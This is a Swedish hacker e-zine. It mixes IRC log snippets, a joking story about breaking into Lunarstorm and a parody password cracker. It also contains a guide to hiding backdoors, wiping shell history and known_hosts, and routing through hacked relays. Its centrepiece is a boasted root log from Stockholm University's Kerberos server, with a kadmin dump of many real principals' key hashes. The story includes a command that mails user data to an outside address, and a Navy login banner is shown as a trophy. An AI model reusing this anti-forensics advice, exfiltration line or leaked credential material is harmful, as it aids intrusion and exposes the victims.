07:57 �f� SignOff granis: #linux.se (Local Kill by not_here_ (mysiga stora farbror :)))
08:06 �f� SignOff b9AcE: #linux.se (Kill line active: dissa inte homosexuella grupper -- patrik nilsson)
08:09 �f� SignOff alfonz: #linux.se (Local Kill by not_here_ (spacedump �r inte uttr�kad, spacedump �r �gd. dessutom g�r du
          intr�ng p� mitt internet.))

Kom ih�g - som vanligt s� �r det inte personen i loggarna som har tagit knarket.
Hack the planet, Free Kevin...


			- AUH Republican Army
+-------
|
+-------------------------------------------------------------------------+
| En mycket fin logg som visar att du inte beh�ver de nyaste exploiten    |
| fr�n bugtraq f�r att hacka root p� en �nd� ganska stor server.          |
| H�r gick hackarna fr�n att inte ha n�got konto alls, till root p�       |
| servern som inneh�ll allt www material, luras inte av den korta loggen, |
| Detta var n�got som tog n�gra dagar, Och vi har klippt bort ganska      |
| mycket (ett par megabyte f�r att vara exakt) f�r att undvika att        |
| tr�ka ut er. Det �r ju all *Action* man vill se, eller hur?             |
|									  |
| Och Spacedump, jag hoppas du har s�krat upp din burk ;-P	          |
+-------------------------------------------------------------------------+
|
+---+[AUH / Arga Unga Hackare ]--------+--------------------------------------+>
				       |
				       |
    +----------------------------------+
    |
<---+-------------------------------------------------------------------------+>

En kall och m�r h�stnatt satt vi i v�ran h�gborg och hackade frenetiskt p�
v�ra �verklockade pentium MMX -terminaler. B0NGr�ken l�g tung �ver redaktionen
och en av v�ra skribenter satt ondskefullt skrattande i ett h�rn, knaprandes
f�rglada piller. Rummet var fullt av 0nd hackarenergi och vi satt och slackade
p� mIRKen i v�ntan p� n�got b�ttre.
eftersom det varken gick n�got bra p� tv eller var n�gra vakna p� mIRKen
s� besl�t vi oss f�r att hitta p� n�got diaboliskt, med ideerna uteblev..
Det var en uttr�kad medlem som lite senare kom p� den genialiska ideen att
posta massa inl�gg p� lunarstorm, med konton som inte var v�ra! muhahaha!

Vi hackar snabbt Lunarstorms databas-data d�r s�kerheten �r l�gre �n
TC-redax efter ett tiotal B0NGar! h3h3h3h3

root@tc_hq>% telnet databas.lunarstorm.se

* V�lkjommen till v�ran databas data! *KjAmiZZar* *fniss*

login:bjarre
password:******

# grep F14 userdatas.txt | mail hacker@tc_hq.regeringen.se
#logout

whohoo! nu beh�ver vi bara massa datakraft f�r att knycka nyckeln
till deras hemmagorda ASP och .NET krypteringssystem!
Vi matar v�ra exalterade hj�rnor med mer datadroger och hackar
under h�ga skratt igenom massa konton till vi hittar n�got med CPU
att r�kna med! Vi hittar snabbt precis vad vi letar efter!! h4h4h4h4!!
Vi anv�nder som alltid v�ran egenutvecklade tokoptimerade kodkn�ckare
f�r dessa h�gprioriterade uppdrag av ren 0ndska.

root@tc_hq>% rlogin -u 3v1lh4X0rz motherbrain.utwente.nl


 Welcome to University of Twene Compter Network.



$ cd .\ \/.secret/
$ ./ultimate_password_cracker

Welcome to The Ultimate Password Cracker.

>Connect all other computers on network
*Connecting....100%*
* you have now totally 1000THz of CPU *

>load all cpu power to password_cracker
* 0.............100% *

>load file lunarstorm_passwd.rot13
* 20000 passwords loaded. *

>crack all really fast
* cracking speed 30% *
* cracking speed 40% *
** SYSLOG MESSAGE: CPU temperature critical **
* cracking speed 50% *
* cracking speed 60% *
** SYSLOG MESSAGE: CPU temperature way out of line **
* cracking speed 70% *
* cracking speed 80% *
** SYSLOG MESSAGE: several CPU in network is on fire **
* cracking speed 90% *

** SYSLOG MESSAGE: Critical parts of computer are in flames **

LOST CARRIER

Otur att undertecknad var upptagen med att r�ka B0NG n�r varningar kom.
Vi st�dar snyggt undan alla sp�r och l�tsas som inget har h�nt.
Faktum �r att det inte har h�nt. P�st�r du annat s� f�rnekar vi allt.

Vi st�nger snabbt av str�mmen och drar till n�rmsta rejvfest f�r att
ha vittnen p� att vi inte kan ha gjort det, vi hittar snabbt en m�nniska
med allvarliga tidsst�rningar som kan g� i ed p� att vi var d�r flera i timmar.
Han bj�d oss �ven p� mer knark. trevlig gosse.

	- TC - din guide i cyberrymden
<+----------------------------------------------------------------------------+>






<+---[0x06: Liten guide till ett s�krare liv ]--------------------------------+>


Sedan tidernas begynnelse har du f�tt l�ra dig att man ska vara f�rsiktig.
�ven din mamma har f�rs�kt hinta dig om hur viktigt det �r att skydda sig.
Detta g�ller �ven dina �ventyr p� internet.

Hur du skyddar dig fr�n att trubbel kan vi dela in i tre omr�den.

* Lokal S�kerhet
* S�ker n�tkonnektivitet
* Distant S�kerhet

Distant s�kerhet �r viktig f�r att du inte skall uppt�ckas och �ka dit.
T�nk p� att g�mma alla bakd�rrar och verktyg s� de inte hittas av en slump.
anv�nd n�gon av de olika kernelmodulbakd�rrarna f�r att g�mma kataloger,
gl�m inte att g�mma dina processer och �ppna sockets!

S�ker n�tkonnektivitet �r viktig f�r att de inte skall kunna sp�ra dig
n�r du v�l har blivit uppt�ckt.
Anv�nd alltid bouncers, g�r _ingenting_ hemmifr�n.
Kryptera all din trafik, bounca genom minst en burk som inte loggar.

Slutligen den lokala s�kerheten som �r viktig f�r att d�lja alla sp�r
n�r dom v�l har sp�rat dig och tagit din burkar.
Anv�nd kryptodisk! kryptera allt hemligt!
t�nk p� dim .viminfo, d�r ser man vad du har editerat.
$HISTFILE loggar allt du g�r, det m�ste du fixa.
.ssh/known_hosts inneh�ller alla burkar du har loggat in p�. rensa!
V�lj l�senord med h�g entropi.
N�r du raderar filer, anv�nd http://wipe.sourceforge.net eller skriv �ver
filen med dd och /dev/random innan du tar bort den.

En bra rutt ser ut n�got som det h�r:

* Elak Hackare
* Lokala bnc's
* Hackade s�kra bnc's
* publika proxies
* Oskyldigt offer


I eventuellt f�rh�r kan det bli f�r�dande om din dator bevisar att du har n�gon
last. Om polisen exempelvis hittar bevis f�r att du hittat p� porr i ~/.mplayer*
kommer de med stor sannolikhet utnyttja detta mot dig. De kan d� f�rs�ka locka
dig till att erk�nna ytterligare genom att locka med konto p� feta porrsiter
eller erbjuda statistroller i svenska vuxenfilmer. �r du under arton kommer
de dock bara att ber�tta f�r din mamma.


De kommer aldrig att ta mig levande!
Knackar det p� d�rren sv�ljer jag en floppy med bootsektorvirus!


<+---[0x07: Mobbade barn med 0dayexploitz ]-----------------------------------+>
 |
 |
 +---------------------------------------------------+
 | Vi hade l�nge undrat vilka som rootade su.se	     |
 | n�r en person sn�llt nog mailade denna lilla      |
 | loggen till oss, vi fick tom. alla 10k passwords! |
 +---------------------------------------------------+


Nu �r det sagostund!
Vi ska ber�tta sagan om n�r det blev s� h�r:

   NYA L�SENORD.
   Efter ett intr�ng i ett av SU:s centrala datorsystem har vi tvingats
   byta ut alla l�senord. Detta p�verkar ditt login p� campus-datorerna
   s� v�l som din mail.
   Ditt nya l�senord finns att h�mta i informationsdisken (A-huset, plan
   4) eller i v�r reception (B-huset, plan 2).

   TAG MED DIG LEGITIMATION.

   Informationsdisken har extra �ppet till kl. 18:00 t.o.m. torsdag p�
   grund av detta.


Det var en g�ng ett stort, stort, universitet. Detta universitet l�g i den
stora, stora, staden Stockholm, och hette s�ledes inget mindre �n Stockholms
Universitet. En dag tyckte vi att det var l�mpligt med en liten, liten,
utflykt till det stora, stora, universitetet.
Vi h�lsade s�ledes p� i kojan bosatt av den lilla, lilla, gulliga, vovven
Kerberos:


uname -a;id
FreeBSD kdc-master.su.se 4.0-RELEASE FreeBSD 4.0-RELEASE #0: Wed Mar 15 02:16:55 GMT 2000     [email protected]:/usr/src/sys/compile/GENERIC  i386
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
w;
ps -auxwww;
 1:32AM  up 399 days, 10:08, 1 user, load averages: 0.00, 0.01, 0.23
USER             TTY      FROM              LOGIN@  IDLE WHAT
root             p0       -                Mon02PM 6days bash
USER   PID %CPU %MEM   VSZ  RSS  TT  STAT STARTED      TIME COMMAND
root 91471  0.0  0.1   416  232  ??  R     1:32AM   0:00.00 ps -auxwww
root     1  0.0  0.0   440   76  ??  ILs  16Sep01   0:00.44 /sbin/init --
root     2  0.0  0.0     0    0  ??  DL   16Sep01  41:11.37  (pagedaemon)
root     3  0.0  0.0     0    0  ??  DL   16Sep01   0:09.50  (vmdaemon)
root     4  0.0  0.0     0    0  ??  DL   16Sep01   0:56.72  (bufdaemon)
root     5  0.0  0.0     0    0  ??  DL   16Sep01 132:01.98  (syncer)
root    23  0.0  0.0   208    0  ??  IWs  -         0:00.00 adjkerntz -i
root    74  0.0  0.2  1212  420  ??  S<s  16Sep01  37:41.51 ntpd -p /var/run/ntpd.pid
root    93  0.0  0.1  1020  144  ??  Ss   16Sep01   0:36.94 inetd -wW
root    95  0.0  0.2   928  340  ??  Ss   16Sep01   4:19.97 cron
root   132  0.0  0.0   844   68  ??  Is   16Sep01   0:00.06 moused -p /dev/psm0 -t auto
root   154  0.0  0.0   892    0  v1  IWs+ -         0:00.00 /usr/libexec/getty Pc ttyv1
root   155  0.0  0.0   892    0  v2  IWs+ -         0:00.00 /usr/libexec/getty Pc ttyv2
root   156  0.0  0.0   892    0  v3  IWs+ -         0:00.00 /usr/libexec/getty Pc ttyv3
root   157  0.0  0.0   892    0  v4  IWs+ -         0:00.00 /usr/libexec/getty Pc ttyv4
root   158  0.0  0.0   892    0  v5  IWs+ -         0:00.00 /usr/libexec/getty Pc ttyv5
root   159  0.0  0.0   892    0  v6  IWs+ -         0:00.00 /usr/libexec/getty Pc ttyv6
root   160  0.0  0.0   892    0  v7  IWs+ -         0:00.00 /usr/libexec/getty Pc ttyv7
root 35320  0.0  0.2  1484  364  ??  Is   26Apr02   0:00.19 kpasswdd
root 19130  0.0  0.2   872  344  ??  Ss   13May02 153:40.71 syslogd -s
root 86260  0.0  0.1  1640  160  p1- I     4Jun02   0:00.05 bash
root 43914  0.0  0.2   896  332  v0  Is+  27Aug02   0:00.02 /usr/libexec/getty Pc ttyv0
root  9686  0.0  2.1 130224 4124  ??  S     2Oct02  31:03.95 /usr/heimdal-0.4e/libexec/ipropd-master
root  9690  0.0  3.0 11172 5844  p1- S     2Oct02 317:12.10 /usr/heimdal/libexec/kdc
root 63940  0.0  0.7  1880 1316  ??  Is   Mon02PM   0:00.07 telnetd -a user
root 63941  0.0  0.1   484  268  p0  Is   Mon02PM   0:00.05 -csh (csh)
root 63944  0.0  0.6  1636 1116  p0  I+   Mon02PM   0:00.05 bash
root 91466  0.0  0.1   608  228  ??  Ss    1:31AM   0:00.04 //bin/sh
root     0  0.0  0.0     0    0  ??  DLs  16Sep01   0:23.46  (swapper)
/usr/heimdal/sbin/kadmin -l dump -d ;
[email protected] 1::16:e6d3fd80830ba449ba7f231346c7b3b5b3b61f4c6149a289:-::3:ba8c76c726010101:-::2:ba8c76c726010101:-::1:ba8c76c726010101:-::3:6da7867573ba205d:3/""::2:6da7867573ba205d:3/""::1:6da7867573ba205d:3/""::3:d5d3c270d6ece0f4:10/"su.se"::2:d5d3c270d6ece0f4:10/"su.se"::1:d5d3c270d6ece0f4:10/"su.se" 20020131100427:[email protected] - - - - - - 110 20020513153445:48341:0
[email protected] 2::16:1aea89515df8bc92dc6479cbfd0852ec581c9140704f137a:-::3:ab4a9e73fe257a64:-::2:ab4a9e73fe257a64:-::1:ab4a9e73fe257a64:-::3:98a84f2fcd380246:3/""::2:98a84f2fcd380246:3/""::1:98a84f2fcd380246:3/""::3:19a44561a89b73a2:10/"su.se"::2:19a44561a89b73a2:10/"su.se"::1:19a44561a89b73a2:10/"su.se" 20020128101015:[email protected] 20020430061306:[email protected] - - - 86400 604800 126 20020513153445:50837:0
[email protected] 2::16:0d31cd9d7a688ad5d66b024a13d08fb62951a2758fa2894f:-::3:5d40e60bb0926161:-::2:5d40e60bb0926161:-::1:5d40e60bb0926161:-::3:9b62622a2f1fd540:3/""::2:9b62622a2f1fd540:3/""::1:9b62622a2f1fd540:3/""::3:0b2998cbceb6bca2:10/"su.se"::2:0b2998cbceb6bca2:10/"su.se"::1:0b2998cbceb6bca2:10/"su.se" 20020510090359:[email protected] 20020514075757:[email protected] - - - - - 110 20020513153445:51954:1
[email protected] 1::16:40ab6d2af1eae53bfeabd05d23d61c945e89f732895b8f08:-::3:d0c4e6b95276dc54:-::2:d0c4e6b95276dc54:-::1:d0c4e6b95276dc54:-::3:dfbcaddf1098ef4f:3/""::2:dfbcaddf1098ef4f:3/""::1:dfbcaddf1098ef4f:3/""::3:9183738cdfdfcd8c:10/"su.se"::2:9183738cdfdfcd8c:10/"su.se"::1:9183738cdfdfcd8c:10/"su.se" 20020201163724:[email protected] - - - - - - 110 20020513153445:53002:0
[email protected] 1::16:e60d1a6b29d5cd616452464a7cc40be56297a479a7758cba:-::3:2fb6dc671967bc52:-::2:2fb6dc671967bc52:-::1:2fb6dc671967bc52:-::3:8501d90e011a97a2:3/""::2:8501d90e011a97a2:3/""::1:8501d90e011a97a2:3/""::3:869864a1d586ead0:10/"su.se"::2:869864a1d586ead0:10/"su.se"::1:869864a1d586ead0:10/"su.se" 20020325150349:[email protected] - - - - - - 110 20020513153445:54049:0
[email protected] 1::16:ae8f8ca2912967abb357d332d5fb9e58a7f743151ad5f716:-::3:e5fbad31baf8d637:-::2:e5fbad31baf8d637:-::1:e5fbad31baf8d637:-::3:165e4cb38c29a24c:3/""::2:165e4cb38c29a24c:3/""::1:165e4cb38c29a24c:3/""::3:a89470916da7858a:10/"su.se"::2:a89470916da7858a:10/"su.se"::1:a89470916da7858a:10/"su.se" 20020325150606:[email protected] - - - - - - 110 20020513153445:55097:0
[email protected] 1::16:190ed62ffb9ddaf268c2a14c046129584f071fc88a7abccb:-::3:73d989685e08bc98:-::2:73d989685e08bc98:-::1:73d989685e08bc98:-::3:5b34625bf8e3269d:3/""::2:5b34625bf8e3269d:3/""::1:5b34625bf8e3269d:3/""::3:d0a7c7f1d3cdf1f1:10/"su.se"::2:d0a7c7f1d3cdf1f1:10/"su.se"::1:d0a7c7f1d3cdf1f1:10/"su.se" 20020325150404:[email protected] - - - - - - 110 20020513153445:56169:0
[email protected] 1::16:e58a62ba5b499b73255b62cd0dad4a5e9ef26b910208ea61:-::3:6208c22fbab958ba:-::2:6208c22fbab958ba:-::1:6208c22fbab958ba:-::3:d0dcfd10ba982a83:3/""::2:d0dcfd10ba982a83:3/""::1:d0dcfd10ba982a83:3/""::3:949ed0a4cec8a170:10/"su.se"::2:949ed0a4cec8a170:10/"su.se"::1:949ed0a4cec8a170:10/"su.se" 20010509140411:[email protected] - - - - - - 110 20020513153445:57221:0
[email protected] 1::16:1c2a19cb0d260efec164e0a1c48c2a1349a7543e975149d9:-::3:e9a8f1c2807c1f0e:-::2:e9a8f1c2807c1f0e:-::1:e9a8f1c2807c1f0e:-::3:3b29e645ecc4f231:3/""::2:3b29e645ecc4f231:3/""::1:3b29e645ecc4f231:3/""::3:9dc89768918ad361:10/"su.se"::2:9dc89768918ad361:10/"su.se"::1:9dc89768918ad361:10/"su.se" 20020325150627:[email protected] - - - - - - 110 20020513153445:58284:0
[email protected] 1::16:b53d5826077f7a86cb2ac48f513e7a31a2136b5e7afe3864:-::3:2f0e10ef01b6e313:-::2:2f0e10ef01b6e313:-::1:2f0e10ef01b6e313:-::3:01010101010101f1:3/""::2:01010101010101f1:3/""::1:01010101010101f1:3/""::3:8c8fefc76283d0b5:10/"su.se"::2:8c8fefc76283d0b5:10/"su.se"::1:8c8fefc76283d0b5:10/"su.se" 20020905075036:[email protected] - - - - 86400 604800 126 20020905075036:591707:0
[email protected] 1::1:e3ba9ddf98163104:-::2:e3ba9ddf98163104:-::3:e3ba9ddf98163104:-::16:6bad762013c220853be0154958ec4acbf7cd5189153ee38f:- 20000818105529:kadmin/[email protected] 20000818105529:kadmin/[email protected] - - - 86400 604800 126 20020513153445:59135:0
[email protected] 1::16:b323f89e380be661349be65efbf7f7d58a98ce86f167bcfb:-::3:a1fdc2156d3bc758:-::2:a1fdc2156d3bc758:-::1:a1fdc2156d3bc758:-::3:2a8f94e58a40b0e6:3/""::2:2a8f94e58a40b0e6:3/""::1:2a8f94e58a40b0e6:3/""::3:a8b0d697f1918a8a:10/"su.se"::2:a8b0d697f1918a8a:10/"su.se"::1:a8b0d697f1918a8a:10/"su.se" 20020506120419:[email protected] - - - - - - 110 20020513153445:60160:0
[email protected] 1::16:3bbc4a5ed0625ec123bf7ff786ecc19220f45ec275b59e94:-::3:f43e163e51085e01:-::2:f43e163e51085e01:-::1:f43e163e51085e01:-::3:7f26c7735e0bb90d:3/""::2:7f26c7735e0bb90d:3/""::1:7f26c7735e0bb90d:3/""::3:a29ed3a4ea91f2a2:10/"su.se"::2:a29ed3a4ea91f2a2:10/"su.se"::1:a29ed3a4ea91f2a2:10/"su.se" 20020415070114:[email protected] - - - - - - 110 20020513153445:61212:0
[email protected] 1::16:3b54da19a70d67ab400b709873f808f88975136be9b98080:-::3:107694082697f473:-::2:107694082697f473:-::1:107694082697f473:-::3:97e92cb9078c20fb:3/""::2:97e92cb9078c20fb:3/""::1:97e92cb9078c20fb:3/""::3:8a61dcb367ef9bb0:10/"su.se"::2:8a61dcb367ef9bb0:10/"su.se"::1:8a61dcb367ef9bb0:10/"su.se" 20020325150412:[email protected] - - - - - - 110 20020513153445:62425:0

#
#H�r fortsatte listj�veln med 10000 rader, k�nns inte som vi orkar med det.
#

...
Och detta var alts� pudelns k�rna


+-----------------------------------------------------------------------------+>
 Sun Microsystems Inc.   SunOS 5.8       Generic February 2000

           WARNING:  This is a U. S. Government Computer System.
                   Unauthorized access is prohibited by
                 Title 18, United States Code, Section 1030
 --------------- Only UNCLASSIFIED Material On This Machine -----------------

  Department of the Navy Automated Information Systems and related
  equipment are intended for the communication, processing and storage
  of U.S. Government information. These systems and equipment are subject
  to monitoring to ensure proper functioning, to protect against
  improper or unauthorized use or access, and to verify the presence or
  performance of applicable security features or procedures, and for other
  like purposes. Such monitoring may result in the acquisition, recording,
  and analysis of all data being communicated, transmitted, processed
  or stored in this system by a user. If monitoring reveals evidence of
  possible criminal activity, such evidence may be provided to law
  enforcement personnel. Use of this system constitutes consent to such
  monitoring.

          Use of this or any other DoD interest computer system
             constitutes a consent to monitoring at all times.

You have mail.
source idl_setup
Enabling TeX & LaTeX

#

+-----------------------------------------------------------------------------+>